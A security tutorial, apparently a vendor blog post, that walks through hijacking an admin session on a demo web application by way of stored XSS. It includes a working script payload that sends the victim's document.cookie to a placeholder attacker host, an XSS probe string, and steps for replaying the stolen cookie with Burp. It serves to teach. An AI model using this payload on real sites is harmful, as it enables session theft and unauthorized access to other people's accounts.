Overview:-

“Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the authenticated parts of a web application.” – (https://www.owasp.org/index.php/Session_hijacking_attack)

The following figure shows a normal web application login page. Using this login page a normal user as well as an admin user can log into the application.

The following figures show the menu screen that is shown to the normal user or the admin user after they log in.

Admin Menu:-

User Menu :-

It can be seen that the functionality provided by the web application for both the users is exactly the same, so what the user sees the admin will see as well. The purpose of this document is just to show the concept of session hijackin in action, so we will go ahead and dig further into the application to find a vulnerability to help us accomplish our goal.

We only have one functionality that is provided to both the users  i.e. “Enter your data”, so lets check that out. Using this functionality, we see that whatever data we enter gets stored by the web application somehow and then using “Show data” functionality, we get the same data printed to the screen. A potential stored XSS vulnerable candidate!!

We will check if the web application is vulnerable by injecting “ “><xss> ” and checking out the source from “Show Data”. And indeed the web application does not filters the HTML special chars, which makes the application vulnerable to stored XSS.

Now we can devise a plan to carry out a session hijack attack against this web application, so that we can get access to the admin panel of the application.

We can inject ”<script>var a=new Image();a.src=”http://attackerIP/stealer.php?cmd=”+document.cookie</script>” in the data entry box and wait for the admin user to see the entered data so that we can gain access to his session cookie. The script stealer.php which is kept on the attacker’s IP has the following code:-

So we inject the aforementioned script in the data entry box and wait for admin user to see the entered data. When the admin user looks at the entered data, the attacker will get the following in stolen.txt on his attacking IP.

Now, we can use burp to use this session to gain access to the admin panel.

The above figure shows how burp has been used to intercept the request and modify it to contain the stolen session cookie. When we forward this request we get the following on our browser.

We have successfully hijacked the admin user’s session!!

"eSecForte is the authorized distributor/reseller of Metasploit Professional and Nexpose in India (Rapid7 Products), Bangladesh, Srilanka"